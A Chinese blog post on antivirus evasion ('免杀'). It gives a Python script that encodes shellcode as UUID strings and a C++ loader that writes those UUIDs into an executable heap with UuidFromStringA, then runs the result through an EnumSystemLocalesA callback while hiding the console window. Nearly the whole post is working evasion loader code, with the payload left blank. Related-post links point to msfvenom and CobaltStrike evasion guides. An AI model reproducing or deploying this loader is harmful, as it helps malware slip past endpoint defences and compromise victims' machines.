首页 > 其他分享 >免杀——UUID回调函数免杀

免杀——UUID回调函数免杀

时间:2022-12-31 15:55:39浏览次数:35  
标签:comment 函数 linker list UUID pragma 免杀

生成UUID的Python脚本:

import uuid
shellcode=b""
    
list = []
for i in range(50):
    bytes_a = shellcode[i * 16: 16 + i * 16]
    b = uuid.UUID(bytes_le=bytes_a)
    list.append(str(b))
with open("shellcode.c","w",encoding="utf-8") as f:
    f.write("const char* uuids[] ={")
    for UUID in list:
        f.write("\""+UUID+"\""+",")
    f.write("};")
print(list)

 

加载器:

#include <iostream>
#include <windows.h>

#include<Rpc.h>
#pragma comment(lib,"Rpcrt4.lib")

using namespace std;

// data段可读写
#pragma comment(linker, "/section:.data,RWE") 

// 不显示窗口
// 隐藏启动控制台
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" ) 
#pragma comment(linker, "/INCREMENTAL:NO") 

int main()
{
    const char* uuids[] = {"",""}

    HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);//获得可执行的句柄
    void* ha = HeapAlloc(hc, 0, 0x100000);//申请堆空间
    if (ha == NULL)
    {
        cout << "内存申请失败!" << endl;
        return 0;
    }
    DWORD_PTR hptr = (DWORD_PTR)ha;
    int elems = sizeof(uuids) / sizeof(uuids[0]);//获得需要写入uuids数组元素个数
    for (int i = 0; i < elems; i++)
    {
        RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuids[i], (UUID*)hptr);//写入shellcode
        if (status != RPC_S_OK)//判断是否写入正常
        {
            cout << "UuidFromeStringA()!=S_OK" << endl;
            CloseHandle(ha);
            return -1;
        }
        hptr += 16;
    }
    
    EnumSystemLocalesA((LOCALE_ENUMPROCA)ha, 0);//回调函数,运行shellcode
    CloseHandle(ha);
    return 0;
}

 

标签:comment,函数,linker,list,UUID,pragma,免杀
From: https://www.cnblogs.com/wuruixin/p/17016826.html

相关文章

  • 免杀——msfvenom基本操作
    MSF生成EXE:msfvenom-p有效载荷-f输出格式-o输出文件msfvenom-pwindows/meterpreter/reverse_tcp-fexe-opayload.exeMSF生成Shellcode:msfvenom-a系统架构......
  • 免杀——凯撒+RC4+Base64分离免杀
    Shellcode生成器:buf是CS生成的Shellcode#include"Caesar.h"#include"Base64.h"#include"RC4.h"intmain(){ unsignedcharbuf[]="" unsignedchar......
  • 免杀——CobatStrike基本操作
    安全测试中,将一台虚拟机作为服务器,同时也可以作为客户机。1、将服务器打开./teamserver192.168.204.148kali 2、启动客户端中文插件打开:java-Dfile.encoding=UTF......
  • 免杀——直接加载
    通过使用直接加载的方式来加载shellcode,是最初始的免杀手段。不过随着对抗的加剧,该方法现在已经不再实用。#include<stdio.h>#include<stdlib.h>#pragmacomment(li......
  • C/C++中时钟相关函数操作
    clocktick:时钟计时单元,一个时钟计时单元的时间长短是由CPU控制的。一个clocktick不是CPU的一个时钟周期,而是C/C++的一个基本计时单位。C/C++中的计时函数是clock(),而与......
  • python生成uuid,并去掉中间的‘-‘
    UUID(UniversallyUniqueIdentifier)是通用唯一识别码,是软件建构的标准,号称可以对任何一种东西进行唯一的编码。下面来看一下python中怎么生成uuid编码并去除其中间的符号‘-......
  • 复习Stream流,函数式接口,方法引用
    今天对这些内容进行了一个复习,以写demo加做笔记的形式stream能够更加优雅的处理集合、数组等数据,让我们写出更加直观、可读性更高的数据处理代码创建steam流的方式set、......
  • Flink:处理函数
    基本处理函数函数功能处理函数主要是定义数据流的转换工作。处理函数提供了一个“定时服务”,可以通过它访问流中的事件、时间戳、水位线,甚至可以注册“定时事件”。继承......
  • 写一个函数,实现字符串的逆序
    #include<stdio.h>#include<string.h>voidreverse_string(char*str){//assert(arr);intlen=strlen(str);char*left=str;char*right=str+len-......
  • 第八章 函数
    8.7函数编写指南1、应给函数指定描述性名称,且只在其中使用小写字母和下划线、给模块命名时也应遵循上述约定2、每个函数都应包含简要地阐述其功能的注释,该注释应紧跟在......